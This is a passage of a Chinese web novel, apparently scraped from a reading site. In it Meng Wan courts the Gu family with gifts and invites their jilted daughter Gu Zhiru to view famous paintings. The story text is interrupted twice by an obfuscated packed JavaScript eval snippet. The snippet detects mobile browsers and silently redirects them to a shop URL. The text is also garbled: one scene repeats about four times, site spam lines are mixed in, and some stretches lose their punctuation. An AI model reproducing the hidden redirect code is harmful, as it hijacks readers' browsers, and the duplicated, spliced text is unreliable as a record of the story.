堂屋外厚重的帘子被掀开,孟晚微垂了下头走进去,一扇水墨绢面屏风隔开了内堂、外堂屋,内堂屋里有人轻声细语说话的声音,听着人还不少。 领路的丫鬟等孟晚和蚩羽都进了门,忙放下帘子往里走,口中用不高不低的声音说道:“老夫人、夫人、是孟夫郎上门了。” 里头说话的声音戛然而止,随后是一阵窸窣的布料摩擦声,又有丫鬟自屏风后出来迎人。 孟晚走进去,除了坐在上首的顾老夫人外,一屋子的妇人和哥儿站起 来招呼。 “听闻孟夫郎近日才回盛京,这就来我顾家拜访,真是蓬荜生辉。”顾夫人亲自过来拉孟晚坐在顾老夫人旁边的位置上,还叫丫鬟拿了个崭新的兔皮缎子面的坐垫给他用。 孟晚低估了自己正旦宴一战成名的风头,着实没料到顾夫人会这么殷勤。他先是给顾老夫人请了安才坐下,眼神不经意间扫了眼屋内—— 坐在椅子上的都是已经成婚的夫人,年轻的和中年人都有,夫郎只有一位,有些夫人身后还跟着坐在绣墩上的小哥儿和女娘。 屋内靠南的炕上坐几个年纪尚小的孩童,有的说话还不利索,有的在玩手中的玩具,稍大些的都在好奇地看着孟晚。 年轻的媳妇们便抱起各自的孩子对孟晚行礼问安,绣墩上的女娘和哥儿也在长辈的督促下欠身行礼。 孟晚着重打量她们,顾二姑娘今年十九岁,这些未婚的女娘中最大的也不过十三四岁,对方不在这里。 他笑意依旧,进退有度地和顾家老夫人说话,不露半点目的性,仿佛只是来上门闲聊。 顾夫人见他不像是一朝得势,过来嘲讽自己的,心下稍松,言语间也不像一开始那么小心紧绷了。 坐了半晌,孟晚婉拒了顾家人留饭,起身告退。 马车出了巷子后蚩羽不解地问:“夫郎,不是说要做说客吗?咱们就这么走了?” 孟晚抱着手炉,不紧不慢地说:“不急,咱们是去做说客的,不是去得罪人的,别看顾家今日客气得紧,文人墨客最重名声,看郑家就知道了。若是一来就说到顾二姑娘身上,可就别想轻易登顾家的门了。” 蚩羽似懂非懂,转头就将孟晚的话抛在了脑后,愉快地把马车赶到了街道上。 “夫郎,这条街上有卖弹弓的,我想去买。”盛京城很大,蚩羽头回到顾家这头的街道上来,眼睛四处观望,落在了卖弹弓的摊子上。 那个摊子的摊主好像是猎户,上头竟是一些其貌不扬的自制品,弹弓弓身用的是枣木,弓弦是牛筋,皮兜子是鹿皮,看着就很结实。 “去吧,钱够不够?”随着孟晚的话,马车里扔出去一个钱袋子,里面没有铜板,都是碎银。 蚩羽是他们雇佣的护卫,不是寻常下人,该有自己的喜好和自由。 “谢谢夫郎赏。”蚩羽笑呵呵地接住钱袋,将马车停靠好,直奔猎 户的摊子挑选起来。 孟晚掀开车帘透气,余光突然瞥到一个略显眼熟的人,那是一个穿着旧棉袍子的书生,前两天在街上围堵秦艽的书生中,好像有一个也穿得相似。 时间才过去三天,孟晚依稀还有印象,只是不大确定是不是那天的书生之一。 他暗暗观察,见那书生走进一条小巷里,犹豫一番,放下手炉下车寻了过去。 这条街就在顾家所在的巷子外面,街尾的小巷很窄,里头是倒夜香的人行走的小道,其中有有一道小门。 孟晚见那书生进了小巷,没有贸然跟上去,而是在正对小巷的街道,佯装着挑选摊位上的东西。 过了一会儿,顾家小门开了,有个仆人打扮的丫鬟走了出来,和那书生说了些什么,距离太远看不清两人的脸色,没多久,丫鬟进门关上小门,书生也离开了巷子。 “夫郎可是看中了什么?”摊贩见孟晚只看不买,本来喜气的脸有些急躁起来。 孟晚心思挪回摊子上,这是个铜匠铺子,门口摆了个地摊,放些低价便宜的手炉引客。他随手拿起一个手炉,发现细节处有些粗糙,见蚩羽也买好了弹弓走过来找他,便道:“我去你们铺子里看看吧。” 铺子里的东西更为精巧,什么档次都有,自然也更贵。 摊贩大喜,“欸,您往里边请。” 过了一会儿,孟晚提了个织锦棉布袋子出来了,蚩羽驾车,两人直奔方锦容家。 葛全干些黑活,手里不缺钱,但是他和方锦容两人谁也不是能存得下银钱的性子,家里还有个大酒鬼,两人积蓄时多时少。 盛京的宅子买是买不起的,不过有陛下在,怎么也不会让葛全没地方住,便赏了他一套宅子,位置甚至比孟晚那套还好,三进大,正好够他家住,还有富余。 葛老头自己住在前院,孟晚去了先跟他打了个招呼,还提了一坛子在家就准备好的好酒。 方锦容听见动静跑出来,“事办成了?” 孟晚把手里的布袋子递给方锦容,“怎么可能那么快,我又不是神仙。” “啧啧,你比神仙还神。”他从布袋子里掏出一个精致的小手炉,“买这个干嘛。” 孟晚勾唇一笑,“你不是说在家无聊,带你出去串门,去不去?” 方锦容眼睛一亮,“去!” 孟晚带方锦容去了吴家找郑淑慎,车上同样一早就备了礼。 “我娘惦记着你快生了,在老家的时候给孩子做了几套衣裳和垫子,我记得阿砚小时候很费垫子,你多多备着。” 厚厚的两大叠东西堆到了榻上,郑淑慎大着肚子坐在一边,随手拿起一件小衣,摸着上头细密的针脚心中感动不已,“劳常婶惦记。” “哦对了,我刚叫侍书去街上买了糕点,晚哥儿、容哥儿你们上去坐着,我叫侍书端上来。”郑淑慎是个细致的人,虽然初见方锦容,但因着孟晚的关系,同他说话也显得亲厚许多。 孟晚叮嘱郑淑慎,“大嫂,你就快生了,少吃外面的东西,旁人送来的吃食也要仔细,天冷路滑,昨夜下了雪,我早上出门一路的冰,你走路也要当心。” 堂屋里外堆放了不少给孩子准备的东西,郑淑慎细细地听着孟晚嘱咐,“你放心,这些我都晓得,就是……就是这心里还是有些没底。” 濒临生产,到底是害怕的,特别是这个时候,一尸两命的太多了,郑淑慎头次生产,难免害怕。 方锦容有经验,但是不适合绝大部分人,他大言不惭地说:“嫂子不必紧张,这种事越想越怕,干脆两眼一闭……” 眼见他不往正道上说,孟晚急忙打断他,“你可别瞎说了,让你来是咱们过来陪大嫂说说话解解闷,不是你胡说八道的。” 方锦容抱胸,孟晚送他的小手炉被他放在腿上,“反正就是很简单,我生通儿的时候葛全找了六个医科圣手,结果一个都没用上,一刻钟我就生完了。” “真的?”郑淑慎眼睛瞪得溜圆,难以置信地问。 他本来就有些微胖,怀孕之后脸蛋又圆了一圈,这会儿面色红润着,倒是显得年轻了好几岁。 见他真信了,孟晚扶额,“大嫂,人的体质不同,你不知道锦容有多能跑动,片刻也不得嫌,动得勤,可能生得就快,但是本身体质一般的,又不大适合有大动作,你还是听郎中的。” 三人又聊了一会儿,郑淑慎提到兰娘和祝泽宁,“你去看过他们了?兰娘如今怎么样了?” “……他们举家回昌平,也不见得就是坏事。” 孟晚将他去祝家的见闻同郑淑慎说了,引得郑淑慎一阵唏嘘。 孟晚和方锦容都没吃午膳,在郑淑慎这儿,同孕夫一起加了顿餐,直到日落黄昏才告辞离开。 “通儿想阿砚了,我家准备了阿砚的房间,被褥都是新买的,今晚让阿砚过去睡吧?”方锦容要去接娃回家,倒不是父爱泛滥,他纯粹就是喜欢出门去玩,有任何理由都不放过。 宋家这阵子确实有点冷清,阿砚去方锦容家和通儿一起也好,孟晚痛快应了。 孟晚带方锦容去了吴家找郑淑慎,车上同样一早就备了礼。 “我娘惦记着你快生了,在老家的时候给孩子做了几套衣裳和垫子,我记得阿砚小时候很费垫子,你多多备着。” 厚厚的两大叠东西堆到了榻上,郑淑慎大着肚子坐在一边,随手拿起一件小衣,摸着上头细密的针脚心中感动不已,“劳常婶惦记。” “哦对了,我刚叫侍书去街上买了糕点,晚哥儿、容哥儿你们上去坐着,我叫侍书端上来。”郑淑慎是个细致的人,虽然初见方锦容,但因着孟晚的关系,同他说话也显得亲厚许多。 孟晚叮嘱郑淑慎,“大嫂,你就快生了,少吃外面的东西,旁人送来的吃食也要仔细,天冷路滑,昨夜下了雪,我早上出门一路的冰,你走路也要当心。” 堂屋里外堆放了不少给孩子准备的东西,郑淑慎细细地听着孟晚嘱咐,“你放心,这些我都晓得,就是……就是这心里还是有些没底。” 濒临生产,到底是害怕的,特别是这个时候,一尸两命的太多了,郑淑慎头次生产,难免害怕。 方锦容有经验,但是不适合绝大部分人,他大言不惭地说:“嫂子不必紧张,这种事越想越怕,干脆两眼一闭……” 眼见他不往正道上说,孟晚急忙打断他,“你可别瞎说了,让你来是咱们过来陪大嫂说说话解解闷,不是你胡说八道的。” 方锦容抱胸,孟晚送他的小手炉被他放在腿上,“反正就是很简单,我生通儿的时候葛全找了六个医科圣手,结果一个都没用上,一刻钟我就生完了。” “真的?”郑淑慎眼睛瞪得溜圆,难以置信地问。 他本来就有些微胖,怀孕之后脸蛋又圆了一圈,这会儿面色红润着,倒是显得年轻了好几岁。 见他真信了,孟晚扶额,“大嫂,人的体质不同,你不知道锦容有多能跑动,片刻也不得嫌,动得勤,可能生得就快,但是本身体质一般的,又不大适合有大动作,你还是听郎中的。” 三人又聊了一会儿,郑淑慎提到兰娘和祝泽宁,“你去看过他们了?兰娘如今怎么样了?” “……他们举家回昌平,也不见得就是坏事。” 孟晚将他去祝家的见闻同郑淑慎说了,引得郑淑慎一阵唏嘘。 孟晚和方锦容都没吃午膳,在郑淑慎这儿,同孕夫一起加了顿餐,直到日落黄昏才告辞离开。 “通儿想阿砚了,我家准备了阿砚的房间,被褥都是新买的,今晚让阿砚过去睡吧?”方锦容要去接娃回家,倒不是父爱泛滥,他纯粹就是喜欢出门去玩,有任何理由都不放过。 宋家这阵子确实有点冷清,阿砚去方锦容家和通儿一起也好,孟晚痛快应了。 孟晚带方锦容去了吴家找郑淑慎,车上同样一早就备了礼。 “我娘惦记着你快生了,在老家的时候给孩子做了几套衣裳和垫子,我记得阿砚小时候很费垫子,你多多备着。” 厚厚的两大叠东西堆到了榻上,郑淑慎大着肚子坐在一边,随手拿起一件小衣,摸着上头细密的针脚心中感动不已,“劳常婶惦记。” “哦对了,我刚叫侍书去街上买了糕点,晚哥儿、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723916|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容哥儿你们上去坐着,我叫侍书端上来。”郑淑慎是个细致的人,虽然初见方锦容,但因着孟晚的关系,同他说话也显得亲厚许多。 孟晚叮嘱郑淑慎,“大嫂,你就快生了,少吃外面的东西,旁人送来的吃食也要仔细,天冷路滑,昨夜下了雪,我早上出门一路的冰,你走路也要当心。” 堂屋里外堆放了不少给孩子准备的东西,郑淑慎细细地听着孟晚嘱咐,“你放心,这些我都晓得,就是……就是这心里还是有些没底。” 濒临生产,到底是害怕的,特别是这个时候,一尸两命的太多了,郑淑慎头次生产,难免害怕。 方锦容有经验,但是不适合绝大部分人,他大言不惭地说:“嫂子不必紧张,这种事越想越怕,干脆两眼一闭……” 眼见他不往正道上说,孟晚急忙打断他,“你可别瞎说了,让你来是咱们过来陪大嫂说说话解解闷,不是你胡说八道的。” 方锦容抱胸,孟晚送他的小手炉被他放在腿上,“反正就是很简单,我生通儿的时候葛全找了六个医科圣手,结果一个都没用上,一刻钟我就生完了。” “真的?”郑淑慎眼睛瞪得溜圆,难以置信地问。 他本来就有些微胖,怀孕之后脸蛋又圆了一圈,这会儿面色红润着,倒是显得年轻了好几岁。 见他真信了,孟晚扶额,“大嫂,人的体质不同,你不知道锦容有多能跑动,片刻也不得嫌,动得勤,可能生得就快,但是本身体质一般的,又不大适合有大动作,你还是听郎中的。” 三人又聊了一会儿,郑淑慎提到兰娘和祝泽宁,“你去看过他们了?兰娘如今怎么样了?” “……他们举家回昌平,也不见得就是坏事。” 孟晚将他去祝家的见闻同郑淑慎说了,引得郑淑慎一阵唏嘘。 孟晚和方锦容都没吃午膳,在郑淑慎这儿,同孕夫一起加了顿餐,直到日落黄昏才告辞离开。 “通儿想阿砚了,我家准备了阿砚的房间,被褥都是新买的,今晚让阿砚过去睡吧?”方锦容要去接娃回家,倒不是父爱泛滥,他纯粹就是喜欢出门去玩,有任何理由都不放过。 宋家这阵子确实有点冷清,阿砚去方锦容家和通儿一起也好,孟晚痛快应了。 孟晚带方锦容去了吴家找郑淑慎,车上同样一早就备了礼。 “我娘惦记着你快生了,在老家的时候给孩子做了几套衣裳和垫子,我记得阿砚小时候很费垫子,你多多备着。” 厚厚的两大叠东西堆到了榻上,郑淑慎大着肚子坐在一边,随手拿起一件小衣,摸着上头细密的针脚心中感动不已,“劳常婶惦记。” “哦对了,我刚叫侍书去街上买了糕点,晚哥儿、容哥儿你们上去坐着,我叫侍书端上来。”郑淑慎是个细致的人,虽然初见方锦容,但因着孟晚的关系,同他说话也显得亲厚许多。 孟晚叮嘱郑淑慎,“大嫂,你就快生了,少吃外面的东西,旁人送来的吃食也要仔细,天冷路滑,昨夜下了雪,我早上出门一路的冰,你走路也要当心。” 堂屋里外堆放了不少给孩子准备的东西,郑淑慎细细地听着孟晚嘱咐,“你放心,这些我都晓得,就是……就是这心里还是有些没底。” 濒临生产,到底是害怕的,特别是这个时候,一尸两命的太多了,郑淑慎头次生产,难免害怕。 方锦容有经验,但是不适合绝大部分人,他大言不惭地说:“嫂子不必紧张,这种事越想越怕,干脆两眼一闭……” 眼见他不往正道上说,孟晚急忙打断他,“你可别瞎说了,让你来是咱们过来陪大嫂说说话解解闷,不是你胡说八道的。” 方锦容抱胸,孟晚送他的小手炉被他放在腿上,“反正就是很简单,我生通儿的时候葛全找了六个医科圣手,结果一个都没用上,一刻钟我就生完了。” “真的?”郑淑慎眼睛瞪得溜圆,难以置信地问。 他本来就有些微胖,怀孕之后脸蛋又圆了一圈,这会儿面色红润着,倒是显得年轻了好几岁。 见他真信了,孟晚扶额,“大嫂,人的体质不同,你不知道锦容有多能跑动,片刻也不得嫌,动得勤,可能生得就快,但是本身体质一般的,又不大适合有大动作,你还是听郎中的。” 三人又聊了一会儿,郑淑慎提到兰娘和祝泽宁,“你去看过他们了?兰娘如今怎么样了?” “……他们举家回昌平,也不见得就是坏事。” 孟晚将他去祝家的见闻同郑淑慎说了,引得郑淑慎一阵唏嘘。 孟晚和方锦容都没吃午膳,在郑淑慎这儿,同孕夫一起加了顿餐,直到日落黄昏才告辞离开。 “通儿想阿砚了,我家准备了阿砚的房间,被褥都是新买的,今晚让阿砚过去睡吧?”方锦容要去接娃回家,倒不是父爱泛滥,他纯粹就是喜欢出门去玩,有任何理由都不放过。 宋家这阵子确实有点冷清,阿砚去方锦容家和通儿一起也好,孟晚痛快应了。 孟晚带方锦容去了吴家找郑淑慎,车上同样一早就备了礼。 “我娘惦记着你快生了,在老家的时候给孩子做了几套衣裳和垫子,我记得阿砚小时候很费垫子,你多多备着。” 厚厚的两大叠东西堆到了榻上,郑淑慎大着肚子坐在一边,随手拿起一件小衣,摸着上头细密的针脚心中感动不已,“劳常婶惦记。” “哦对了,我刚叫侍书去街上买了糕点,晚哥儿、容哥儿你们上去坐着,我叫侍书端上来。”郑淑慎是个细致的人,虽然初见方锦容,但因着孟晚的关系,同他说话也显得亲厚许多。 孟晚叮嘱郑淑慎,“大嫂,你就快生了,少吃外面的东西,旁人送来的吃食也要仔细,天冷路滑,昨夜下了雪,我早上出门一路的冰,你走路也要当心。” 堂屋里外堆放了不少给孩子准备的东西,郑淑慎细细地听着孟晚嘱咐,“你放心,这些我都晓得,就是……就是这心里还是有些没底。” 濒临生产,到底是害怕的,特别是这个时候,一尸两命的太多了,郑淑慎头次生产,难免害怕。 方锦容有经验,但是不适合绝大部分人,他大言不惭地说:“嫂子不必紧张,这种事越想越怕,干脆两眼一闭……” 眼见他不往正道上说,孟晚急忙打断他,“你可别瞎说了,让你来是咱们过来陪大嫂说说话解解闷,不是你胡说八道的。” 方锦容抱胸,孟晚送他的小手炉被他放在腿上,“反正就是很简单,我生通儿的时候葛全找了六个医科圣手,结果一个都没用上,一刻钟我就生完了。” “真的?”郑淑慎眼睛瞪得溜圆,难以置信地问。 他本来就有些微胖,怀孕之后脸蛋又圆了一圈,这会儿面色红润着,倒是显得年轻了好几岁。 见他真信了,孟晚扶额,“大嫂,人的体质不同,你不知道锦容有多能跑动,片刻也不得嫌,动得勤,可能生得就快,但是本身体质一般的,又不大适合有大动作,你还是听郎中的。” 三人又聊了一会儿,郑淑慎提到兰娘和祝泽宁,“你去看过他们了?兰娘如今怎么样了?” “……他们举家回昌平,也不见得就是坏事。” 孟晚将他去祝家的见闻同郑淑慎说了,引得郑淑慎一阵唏嘘。 孟晚和方锦容都没吃午膳,在郑淑慎这儿,同孕夫一起加了顿餐,直到日落黄昏才告辞离开。 “通儿想阿砚了,我家准备了阿砚的房间,被褥都是新买的,今晚让阿砚过去睡吧?”方锦容要去接娃回家,倒不是父爱泛滥,他纯粹就是喜欢出门去玩,有任何理由都不放过。 宋家这阵子确实有点冷清,阿砚去方锦容家和通儿一起也好,孟晚痛快应了。 第72章 待客 就这样白日里或是陪方锦容逛一逛,或是去吴家看看郑淑慎,孟晚过了几天悠闲日子。 又是一个寒峭侵衣的天气,孟晚再次叫人备车,登上了顾家的大门。 还是熟悉的一屋子人,小孩子或许少了几个,姑娘里却仍旧没有顾二姑娘。 两次都没见到人,孟晚连眉头也没皱上一下,笑盈盈地吩咐蚩羽提上来一个精巧的小木箱。 箱子打开,里头码着十来个巴掌大的首饰盒子,盒子是琉璃制成的,在窗户透进来的光线下闪烁着七彩流光,比起厚重的木料,显得轻盈又漂亮。 “哇!”一个小哥儿没忍住惊呼出声。 他娘狠狠地瞪了他一眼,对孟晚赔笑道:“孟夫郎别介意,他小孩子家家失礼了。” 孟晚笑得很亲切,“这算什么失礼?孩子都喜欢新鲜玩意儿,我小时候也是。” 最喜欢飞机大炮了。 可惜他学习一般,要是考的是国防大学,研究出来**,这会儿他说什么也不搞潜移默化这一套。 取出一只盒子递给刚才惊呼的小哥儿,“本来就是给你们准备的,拿着玩吧,大家都有。” 那小哥儿低眉顺眼地看他娘脸色,他娘不点头不敢将东西接过去。 “孟夫郎来者是客,怎好让您破费呢?”顾夫人客气地说。 孟晚干脆将盒子打开,里头是大小均匀的珍珠手串,他这两天找匠人加工的。 “盒子都是我自家工坊里的东西,手串都是我在岭南的时候收的,算不得什么名贵东西。我上次见顾家有好几位模样出挑,正值韶华的姐儿、哥儿的,心里欢喜,就想着再登门定要给她们带些薄礼,讨讨他们姊弟们欢心。” 他话说得俏皮,又没有架子,哄得一屋子闺阁内眷都高兴。那几个十多岁的小姐公子,看着孟晚的脸色都泛起了红晕。 毕竟一般常人,对于长相出挑、对人又斯文可亲的美人,很轻易便会生出好感来。 顾老夫人笑着发话,“既孟夫郎说了,老身就厚颜让这些小辈留下了。” 她刚发了话,小哥儿便迫不及待地将手串戴在手上,孟晚手里几乎没有凡品,中等货色在他举家入京的时候就在岭南处理掉了,留下的都是上好的货色。 几个小的将东西分了,箱子里却还剩下一个,孟晚 听说看这本书的人都是很幸运的,分享后你的运气会更棒 拿起剩余的那个故作疑惑道:“怎么还剩了一个顾家可是还有哪个小姐公子没有到场的?” 这种书香门第最好面子家里来了贵客太小的孩子不算只要十岁往上已经开蒙**礼的必要出面拜见贵客行礼问安。如此方显家族礼仪教养。 孟晚的话说完顾夫人有些不自然地勉强一笑“孟夫郎见谅是我小女近来身子不大爽利这才没出来见客。” “原来如此。”孟晚恍然明了他拿着用心雕琢的琉璃盒子情真意切地道:“她小小年纪怎么病了?我先前不知道就算了这会儿知道了怎么也要过去看望一番才心安不知顾夫人方不方便?” “这……”顾夫人哑然 “有劳孟夫郎惦念那……那我就引您去小女的院里坐一坐吧。”顾夫人应道。 顾家的嫡出二小姐顾枳茹住的院落离老夫人处不远顾夫人带孟晚过去的时候已经有机灵的丫鬟提前告知了。 顾枳茹素白着一张脸在小院的花厅里接见了孟晚。 “小女给孟夫郎请安多谢夫郎惦念。”她看到摆在桌上的“礼物”并未像其他姐妹兄弟一样浮现出什么惊喜之色神色一直淡淡。 孟晚坐在椅子上同顾枳茹相对打量着这间布置典雅的闺房外间。目光掠过那些精秀却不名贵的家具摆件直落在挂到墙上的腊雪寒梅图上头落款是顾二娘。 他忽而笑了“早就听闻顾家是书香世家家里不光男子读书女娘小哥儿也都是要琴棋书画样样精通的。这幅腊雪寒梅画得颇为风骨。” 两个女儿琴棋书画无所不精顾夫人自是引以为荣但正旦宴孟晚一画成名那才是真正的丹青圣手她谦虚着说:“茹娘这点微末道行在孟夫郎面前献丑了。” 提到画顾枳茹木然的眼眸里闪过一丝情绪母亲的话勾起了她曾听说过的孟夫郎的传闻“早就听闻孟夫郎之画艺更甚尊师一筹一直无缘得见小女浅陋之作不足观瞻。” 这话是从宫中流传出去的但对于仰慕项芸的哥儿、女娘来说却不见得如此。项芸去世后她流传出去的画作更添一分典藏之值。 孟晚笑意温和“我见了茹娘就觉得投缘家里收藏了许多名家画作还有我几幅师父的茹娘若是喜欢可以随我去宋家观 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 赏。” “项先生的画?”顾枳茹淡漠的表情被打破眼底泛起点点星光。 自从忠毅侯世子上门退亲女儿一直郁郁寡欢顾夫人如何不心疼见她意动便劝起来“出门走动走动也好孟夫郎是极有耐心的人去了宋家别烦扰到人家。” 顾枳茹神情松动“那……那劳烦孟夫郎稍等茹娘换身衣裳。” “你自去吧。”孟晚果然一副很好说话的样子。 茹娘去里间换外出的衣裳顾夫人对孟晚告罪“孟夫郎莫怪茹娘……唉实在是近些日子受了委屈若是怠慢了孟夫郎还望夫郎见谅。” 秦家和顾家的婚事作罢顾枳茹被退婚几乎成了满京城人饭后闲聊的话题她已经好几个月没有出门人也瘦了一大圈。 好好的女儿家这么自我折磨自己也不知什么时候才能走出阴霾眼见着身子骨都快承受不住了。顾夫人说女人生病并不是诓骗孟晚的。 她倒是个真心心疼女儿的孟晚暗叹。 孟晚宽慰她道:“顾夫人放心你也知道我是乡野出身一路陪我家夫君考上来的我们宋家并无大家族的繁琐规矩茹娘只管跟我过去玩玩松松心。” 他半句没提顾家和秦家的婚事也没问顾枳茹为何受委屈同那些看似是来关心茹娘实则不是暗中打探就是来看笑话的孟晚比之她们不知道强上多少。 寥寥几句话顾夫人心暖如煦。 乡野好乡野好啊! 从前她只道门当户对这会儿女儿出事几乎要了孩子的半条命去她才看清那些贵妇的嘴脸那些可恶的人以前是怎么夸她的茹儿蕙质兰心的如今又是怎么暗示可以将女儿抬进门做续弦、做人现成后娘的。 最可恶的就是刚回京的勤王妃 她女儿虽然被退了亲但谁都知晓是他秦家背信弃义她好好一个女儿就是不嫁高门也有的是人求娶难道嫁不出去吗? “母亲女儿这便同孟夫郎走了。”顾枳茹换了身外出的衣裳出来她无心外出冷了也不想做衣裳穿的还是去年的旧衣。 顾夫人低头拿帕子飞快地擦拭了一下眼角起身送他们出门“去吧早早回来莫要麻烦孟夫郎。”出去散散心 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 也省得在家伤神。 顾枳茹不愿坐家里的马车出门,像他们这样的人家,马车上都刻了标记,出门就知道是谁家的。 孟晚看出来了,便邀请她上了自家马车。 顾枳茹上了车才恍惚想起自己答应了什么,她久不外出,这会儿坐在孟晚旁边,颇有些尴尬。 “你这侍女长得倒是水灵。孟晚随口和搭她了句话,缓解了周遭沉默的气氛。 为示亲近,顾夫人只叫顾枳茹带了两个丫鬟出来,孟晚说的便是其中年纪更大些的,约莫二十岁左右。 “她叫青萝,从小伴我长大,是我身边最贴心的人。顾枳茹拍了拍身侧丫鬟的手背。 “原来如此。孟晚就问了这么一句,便不再说了。 马车停在宋家大门,孟晚跳下来的时候顾枳茹吓了一跳,世家女娘小哥儿下马车讲究的是端庄不俯身,小姐公子下车男仆要回避,由侍女扶着小姐手臂,侧身出车厢,裙摆拢住双脚,踏凳逐级落地,全程腰杆子要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740709|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺直,再用团扇或帕子轻遮一下身前,避免被外人直视。 青萝在车上没寻到踏凳,悄声伏在顾枳茹耳边,“小姐,不然您踩着奴婢的背下来吧。 顾枳茹不肯,“又不是王公贵爵,何至于如此行事?叫孟夫郎看了笑话。但让她像孟晚一样跳下去,她又不敢,车驾怪高的,而且姿态也会不雅。 “你们不下去吗?蚩羽奇怪地打量着她们。 顾枳茹下意识用帕子横在身前遮挡,青萝问道:“小哥儿可知马车备了踏凳没有? 蚩羽实在地摇了摇头,“没有,我抱你下来吧。 他也不等人家反应一二,双臂一铲就将顾枳茹给打横抱下了车,动作之快在场没有一人反应过来,顾枳茹双脚踏地人还是懵的。 “你……你这人怎么如此鲁莽!小姐你没事吧?青萝和另一个丫鬟忙上前搀扶顾枳茹。 “啊?没……没事。顾枳茹本来到陌生人家做客,还有些不自在,这下好了,直接在人面前丢脸了。 她麻木地想。 “茹娘,别和蚩羽计较,他是我的护卫,往日不太懂规矩,习惯就好。孟晚看了全场,这时适当出声。 “护卫?小哥儿做护卫?他会武艺?顾枳茹诧异地回望蚩羽伟岸的身高,确实不像是个寻常小哥儿。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 孟晚颇为自傲,“不只会,还不错。” 顾枳茹走在路上,没忍住又看了蚩羽一眼。 宋家占地面积极大,算是伯爵规制以下建面最大的宅子,顶顾家两倍。 从或长或短的游廊中行至正院,孟晚才停下脚步。 “夫郎,您回来啦?” 正院的丫鬟小侍出来迎人,个个衣裳富丽,发饰最次也是银簪,几个一等侍女、小侍,还有戴金簪的。 青萝与另外一个小丫鬟眼神往枝繁枝茂的头上飘,累金的蝴蝶展翅金簪,明显是一对,两个小侍一人一根,还各搭配了其他金饰,身上的衣裳也是暗花缎的料子,这一身下来比普通下官家的千金穿的还好。 顾忌着顾枳茹身体不好,孟晚把顾枳茹带到堂屋西边的小暖阁里,里面没有什么繁琐的家具,一面是通铺的火炕,一面放着一排矮柜。 火炕占了暖阁的大半位置,中间放了一张矮几。 孟晚请人上了炕,吩咐仆人道:“把矮几换成炕桌,外头那张大的。” “是,夫郎。”枝繁枝茂合力给抬了进来,青萝她们还搭了把手。 枝繁见顾枳茹似乎怕冷,又去堂屋内间的柜子里头,给她和孟晚各取了一条毛毯。 “枝茂,去把黄管事叫过来。”孟晚指使枝茂去找黄叶。 黄叶来得很快,听说夫郎带了娇客上门,他本就在往正院这边走。 “夫郎,可是要吩咐小的去库房取物?” 随着一道年轻的声音传来,顾枳茹只见一个肤色偏暖黄、身形匀称的小哥儿掀了帘子走进来。 他长相并不出众,但眼神温柔坚定,身上有种极为坚毅的气质。 孟晚热得脱了厚棉袍,套了件枝繁递过来的褙子穿在身上,“对,将我师父赠予我那幅雪山青莲图取来,还有我收藏的王千樾大师、苟道子大师的画,都寻了来。” 青萝和另一个小丫鬟坐在地上的绣墩上,安静又本分。 宋家和她们想象中大不相同,这哪儿是别人说的乡下人啊,随便进来哪个下人都比顾家夫人房里的管事还要有派头。 黄叶走后枝繁在暖阁外面叫青萝,“两位姐姐,出来吃盏茶吧,夫郎在屋子里看画的时候,是不能端进去茶水的。” 青萝看了炕上的顾枳茹一眼,“姑娘,我们去门口候着了,您有吩咐叫我们一声。” 顾枳茹仍然沉浸在孟晚刚才提及的那两个名字中,回不过神来。 本以为来宋家能赏到项芸的画已是十分幸运了,万万没想到孟夫郎如此深藏不露,手里竟然还有王千樾与苟道子的画! 第73章 石见棉坊 黄叶捧着卷轴进来的时候,顾枳茹直接下了炕迎接。 孟晚接过画卷招呼她,“站在地上干嘛?上来赏画啊?” 炕上靠墙的位置摆放着一架素白纱的炕屏,上面并无任何装饰与刺绣,是专门用来赏画的。 孟晚把画卷挂在屏风上,一共三幅,大家之作,能轻易看出其中迥异的风格。 顾枳茹看着其上精美的画卷,缓缓靠近,手伸出去,却是碰都不敢碰上一下。 “莫要担心,我请了人装裱好的,轻易不会损坏。”孟晚坐在软垫上,托腮倚在炕桌上欣赏。 他语气平淡,对这样珍贵的稀世名画只抱着寻常态度,哪怕其中一幅是他师父的画。 顾枳茹很容易被旁人情绪所影响,孟晚安然的姿态让她激动的心也渐渐平复下来。 两人一坐就是半天,期间青萝不放心地进来看了一眼,见自家姑娘只是看画,偶尔还会和孟夫郎交谈两句。 不管是孟晚还是顾枳茹音调都不高,青萝听不见他们在说什么,只是觉得她家姑娘望着孟夫郎的眼神都不一样了。 天色渐晚,青萝不得不提醒顾枳茹,“姑娘,该回了。” 顾枳茹如梦初醒,她跪坐在炕上微微低头,姿态恭顺,“今日多谢孟夫郎招待,茹娘叨扰了。” 孟晚起身送她,口中说道:“你若是闲了,尽管上门来找我,库房还有许多字画,有的是我在机缘巧合下买下来的,有的是友人所赠。名——不代表什么,每幅画创作出来就是给人看的,既不能果腹,也不能充饥,就只是一幅画而已,画作身上所有的价值都是人赋予它的。” 顾枳茹站在暖阁地上,任由丫鬟青萝给她规整衣裳,眼神中带着思索,但更多的则是茫然。 她暂且不能理解孟晚的话,书画大家的画她见了许多,就是比普通画师画得好啊?其中自有风骨,常人难以跨越。 